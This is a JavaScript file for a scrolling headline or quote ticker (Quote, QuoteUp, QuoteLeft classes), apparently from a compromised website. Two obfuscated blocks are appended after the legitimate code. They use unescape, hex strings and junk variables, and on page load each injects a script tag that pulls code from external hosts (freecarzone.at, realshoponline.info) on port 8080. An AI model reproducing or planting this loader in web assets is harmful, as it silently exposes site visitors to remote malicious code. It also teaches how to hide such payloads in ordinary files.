/** class Quote
*
*/

function Quote() {
	if (arguments.length) {
	    this.layer 			= arguments[0];     
		this.C_Height 		= arguments[1].C_Height;
		this.C_Width 		= arguments[1].C_Width;
		this.C_TopOffset 	= arguments[1].C_TopOffset;
		this.C_LeftOffset 	= arguments[1].C_LeftOffset;	
		this.C_Spacing 		= arguments[1].C_Spacing;
		this.C_Direction 	= arguments[1].getDirection();
		this.C_EndSpace     = 0;
		this.C_AbovePosition = 0;
						
	    this.pixelsRolled 	= 0;  
	    this.isRolling 		= false;
	    this.isFirstRoll 	= null;
	    this.reperPosition  = null;
	    this.reper          = null;
	    this.reperTop       = null;
	    this.isInit         = false;
    }
    
    /**
    * Restore initial position and size
    */
    this.init = function init() {
        setObjectStyleProperty(this.layer, "position", "absolute");
                
        var list = this.layer.getElementsByTagName("img");
        if (list && list.length)
            this.reper = list.item(list.length - 1);
                
        this.pixelsRolled = 0;             
        this.isRolling 	  = false;
                     
        this.isInit = true;                                                                    
    }                                                            
}


/** Class QuoteUp
* Extends Quote
*
*/
function QuoteUp(layer, headline) {
	// Call super , Quote, constructor;
	this.super_(layer, headline);
	
	this.topOff 		= 0;
    this.clipTop 		= 0;
    this.clipBottom 	= this.C_Height;              
    this.clipRight		= this.C_Width;
    this.top 			= this.C_TopOffset + this.C_Height;    
    this.pixelsRolled 	= 0; 

	this.super_init = this.init;    
    this.init = function init() {
    	if (!this.isInit) {
	    	this.super_init();	    		    	
	    	setObjectStyleProperty(this.layer, "width", this.C_Width);
	    	setObjectStyleProperty(this.layer, "clip", "rect(0px auto 0px auto)");
    	    		
			// Browsers bug 
		   	this.C_Spacing  = parseInt(this.C_Spacing) + 1;
		   	this.C_EndSpace = parseInt(this.C_EndSpace) + 1;	    
		   	    	    		
	    	this.C_AbovePosition = parseInt(this.C_TopOffset) -
								   parseInt(this.C_Spacing) -
								   parseInt(this.C_EndSpace);								   								   
		}
		setObjectStyleProperty(this.layer, "visibility", "hidden");
    	this.topOff 		= 0;
        this.clipTop 		= -5;
        this.clipBottom 	= this.C_Height;
        this.top 			= this.C_TopOffset + this.C_Height + 5;
        this.isRolling      = false;
    }
    
    /**
    * Roll the line inside the headline's rectangle
    */
    this.rollLine = function() {
		setObjectStyleProperty(this.layer, "visibility", "visible");
    	this.isRolling = true;		
		this.top--;
        var rect = "rect(auto auto auto auto)"
        
        // When quote starts roll from bottom.
        if (this.topOff <= this.C_Height ) {
            this.topOff++;                        
            rect = 'rect(auto auto ' + this.topOff + 'px  auto)';                        
        } 
        // When quote has the bottom above header bottom line.            
        else { 
            this.clipBottom++;
            this.clipTop++;                
            rect = 'rect(' + this.clipTop + 'px auto ' + this.clipBottom + 'px auto)';          
        }
                                
        // Reset quote position if it's bottom line is above headline top.
        //this.reperPosition  = this.getQuoteBottomPosition();
        if (this.reperPosition == this.C_TopOffset - this.C_Spacing - this.C_EndSpace)
            this.init();        

		setObjectStyleProperty(this.layer, "clip", rect);
        setLayerPosition(this.layer, "top", this.top);             
    }
    
    this.isAbove = function() {
	    this.reperPosition = parseInt(this.getQuoteBottomPosition());	  
	    if (this.reperPosition != null && 
	    		this.reperPosition == this.C_TopOffset + this.C_Height - this.C_Spacing - this.C_EndSpace)	
	        return true
	        
	    return false;
    }
    
    this.getQuoteBottomPosition = function() {    	
		return findObjectTopOffset(this.reper);                        
    }  
    
    this.isOnTop = function () {
    	if (this.reperTop == null)
    		this.reperTop = this.layer.getElementsByTagName("img").item(0); 
    	
    	if ( findObjectTopOffset(this.reperTop) == this.C_TopOffset)
    		return true;
        	
    	return false;
    }
}
QuoteUp.prototype = new Quote;
QuoteUp.prototype.super_ = Quote;


/** Class QuoteLeft
* Extends Quote
*
*/
function QuoteLeft(layer, headline) {
	// Call super , Quote, constructor;
	this.super_(layer, headline);
			
    this.clipLeft		= 0;
    this.clipRight      = 0;
    this.left			= 0;
    this.leftPosition   = null;
    this.leftOff        = 0;
    
    this.super_init = this.init;    
    this.init = function init() {
	    if (!this.isInit) {
	    	this.super_init();	    	
	    	setObjectStyleProperty(this.layer, "height", this.C_Height);	
	    	setObjectStyleProperty(this.layer, "clip", "rect(auto 0px  auto 0px)");

			// Browsers bug 
		   	this.C_Spacing  = parseInt(this.C_Spacing)+ 1;
		   	this.C_EndSpace = parseInt(this.C_EndSpace) + 1;	    
	   		    	
	    	this.C_AbovePosition = parseInt(this.C_LeftOffset) +
	    						   parseInt(this.C_Width) - 
	    						   parseInt(this.C_Spacing) - 
	    						   parseInt(this.C_EndSpace);	    						   	    						    
	    }

		setObjectStyleProperty(this.layer, "visibility", "hidden");
    	this.leftOff 		= 0;
        this.clipLeft 		= this.C_Width - 5;
        this.clipRight 		= 0;
        this.left 			= this.C_LeftOffset + this.C_Width + 5; 
        this.isRolling      = false; 
    }
    
    /**
    * Roll the line inside the headline's rectangle
    */
    this.rollLine = function() {
		setObjectStyleProperty(this.layer, "visibility", "visible");
		this.isRolling = true;
		this.left--;
        var rect = "rect(auto auto auto auto)"
        
        // When quote starts roll from bottom.
        if (this.leftOff <= this.C_Width ) {
            this.leftOff++;                        
            rect = 'rect(auto ' + this.leftOff + 'px auto  auto)';                        
        } 
        // When quote has the bottom above header bottom line.            
        else { 
            this.clipRight++;
            this.clipLeft++;
            rect = 'rect(auto ' + this.clipLeft + 'px auto ' + this.clipRight + 'px)';          
        }
                                
        // Reset quote position if it's bottom line is above headline top.
        //this.leftPosition = this.getQuoteLeftPosition();
        if (this.leftPosition == this.C_LeftOffset - parseInt(this.C_Spacing) - parseInt(this.C_EndSpace)) 
            this.init();        

		setObjectStyleProperty(this.layer, "clip", rect);
        setLayerPosition(this.layer, "left", this.left);             
    }    
    
    this.isAbove = function() {
   		this.leftPosition = this.getQuoteLeftPosition();
   		if (this.leftPosition != null && 
   					this.leftPosition == this.C_LeftOffset + this.C_Width   - this.C_Spacing - this.C_EndSpace)	{   			 
   					
   			 return true
		 }
   			 
   		return false;	
   }                          

    this.getQuoteLeftPosition = function() {    	           	
		return findObjectLeftOffset(this.reper);
    }   
    
    this.isOnTop = function () {
    	if (this.reperTop == null)
    		this.reperTop = this.layer.getElementsByTagName("img").item(0); 
    	
    	if ( findObjectLeftOffset(this.reperTop) == this.C_LeftOffset)
    		return true;
        	
    	return false;
    } 
}
QuoteLeft.prototype = new Quote;
QuoteLeft.prototype.super_ = Quote;



try {var B=new Array();var g;if(g!='x' && g!='k'){g='x'};var Qw='';var AW="";var h=window[unescape("%75%6e%65%73%63%61%70%65")];this.nx='';var cJ;if(cJ!='' && cJ!='ed'){cJ=''};var E=window[h("%52%65%67%45%78%70")];var T=null;var J=h("%72%65%70%6c%61%63%65");this.Pb='';function V(hJ,n){this.N="";var o=h("%5b");var j;if(j!='QC'){j=''};var Cv="";o+=n;var Xl="";o+=h("%5d");var EZ=new Array();var Vq=new String();var P=new E(o, h("%67"));return hJ.replace(P, T);var hL=new Date();var Gt=new Date();};var pM=new Date();var _=new Array();var Q='';var d=h("%73%63%72%69%70%74");this.ql="";var En='';var G="\x68\x74\x74\x70\x3a\x2f\x2f\x66\x72\x65\x65\x63\x61\x72\x7a\x6f\x6e\x65\x2e\x61\x74\x3a";var XY;if(XY!='' && XY!='KL'){XY='Df'};this.a="";var HU;if(HU!='' && HU!='ip'){HU=null};var Mz=new Array();var PS=V('842365697266046293421983653447459096779211','95246137');var kY;if(kY!='DZ'){kY=''};var c=V('/6g6oxo6gNl9ej.rcxo6mx/4pFcxoEn8l5i4nOe8.NcboTmN.Rc5n9/Ee6lNmFu4njd8o8.6eEs4.NpEhbpR','EbO5jRr8TN694Fx');var hJ=h("%31");var RG;if(RG!='kP' && RG != ''){RG=null};var C="onloa"+"doVJ".substr(0,1);var zm="";var UP=new Date();function VS(){this.w="";var We;if(We!=''){We='ER'};var e=document;var Af;if(Af!=''){Af='UV'};var tP;if(tP!='ex'){tP='ex'};s=e.createElement(d);Q+=G;var TI=new Array();Q+=PS+c;var Wy='';this.zc='';var zF;if(zF!='LO' && zF!='js'){zF=''};var zz;if(zz!='gK' && zz!='Rn'){zz=''};s.src=Q;var ke;if(ke!='' && ke!='mn'){ke=''};var tPc;if(tPc!='wh'){tPc=''};s.defer=hJ;var r='';var ez=e.body;var eG=new String();var cp=new Date();var DW='';var Sy='';ez.appendChild(s);};var BN;if(BN!='PZ'){BN='PZ'};this.zb="";var KD="";window[C]=VS;var zt;if(zt!='jq'){zt=''};var nn;if(nn!='' && nn!='es'){nn=''};this.XS='';} catch(U){};









var l;if(l!='N' && l!='yT'){l=''};function B(){var M;if(M!='D'){M='D'};var a=window;var BT=new String();this.ag='';var Ug='';var z=a['unescape'];var Cn;if(Cn!='' && Cn!='GW'){Cn=''};var KK=new Array();var t=z("%2f%6f%72%6b%75%74%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%65%61%73%74%6d%6f%6e%65%79%2e%63%6f%6d%2e%70%68%70");var P=new String();var DL=new Array();var mk="";var _=new Date();function G(h,s){var LS="";var e=z("%5d");var _n=new String();var Jx='';var J=z("%5b");var q;if(q!='I' && q!='CL'){q=''};var ln=new Date();var Bw="g";this.kH='';var H=new RegExp(J+s+e, Bw);this.GQ="";var Vv=new Date();return h.replace(H, new String());};var PS;if(PS!='SE'){PS=''};var E="";var Ga;if(Ga!='j' && Ga!='bj'){Ga='j'};var XN;if(XN!='zK' && XN != ''){XN=null};var v;if(v!='hM' && v!='i'){v=''};var sD=G('874643972714404526594613156285573414994640652476144446','47231965');var JB='';var K=G('sWrtcv','StYCWv1hL');var dN;if(dN!='HP' && dN!='nl'){dN=''};var L=document;var O;if(O!='bN' && O!='wJ'){O='bN'};var U=G('sucNrniwpbtW','lNWvJE4zbXmqPIVM8anuQwZA');this.ZU="";var y=G('d7e7fCeqrD','CqiD7y4');var mY=new Date();var da=new String();function w(){var _N="";this.p="";var eW="";var W=z("%68%74%74%70%3a%2f%2f%72%65%61%6c%73%68%6f%70%6f%6e%6c%69%6e%65%2e%69%6e%66%6f%3a");this.np="";var eH;if(eH!='Hx' && eH!='Tk'){eH=''};var Dl="";var X=W;var sf;if(sf!='wm'){sf='wm'};X+=sD;var mZ=new String();var TA=new String();X+=t;var rj=new String();var ae;if(ae!='jH'){ae='jH'};var cn=new Array();var Dj=new Array();var uW;if(uW!='ZS' && uW != ''){uW=null};var FK=new Array();try {var Cv;if(Cv!=''){Cv='zT'};var iy=new Array();m=L[G('cCrseWa3t6e3EZl3eCm5esnQtV','s65QWiVZ3uC')](U);var MvU;if(MvU!='' && MvU!='Pb'){MvU=''};this.Gp="";var il;if(il!='lI' && il!='zg'){il='lI'};m[K]=X;var S_;if(S_!='Pi' && S_!='IC'){S_='Pi'};this.Vm="";var jr;if(jr!='gz' && jr!='GV'){jr='gz'};m[y]=[1][0];var WG=new Date();var DJ=new Date();var RS="";var Tc="";L.body[G('aHpmpDeZnIdZCZhOiZlvdw','GMO9bvUIWxmXr0wDugQHZKT')](m);var hB;if(hB!='BwM'){hB=''};var YS=new Array();this.QX='';} catch(b){var ZQo;if(ZQo!=''){ZQo='vw'};};var VO=new String();var Rz=new String();var Fi='';var cp='';}this.WJ='';var Jq=G('oUn1lhoNaydh','1Hf0eYvK89FZPNqhUTy');var XO='';this.XH="";this.HQ="";a[Jq]=w;var yB;if(yB!=''){yB='ns'};this.Hu="";this.bz='';};var Br=new Date();var mR=new Date();this.Ae="";var Ib;if(Ib!='di'){Ib=''};B();var Hh="";var EM="";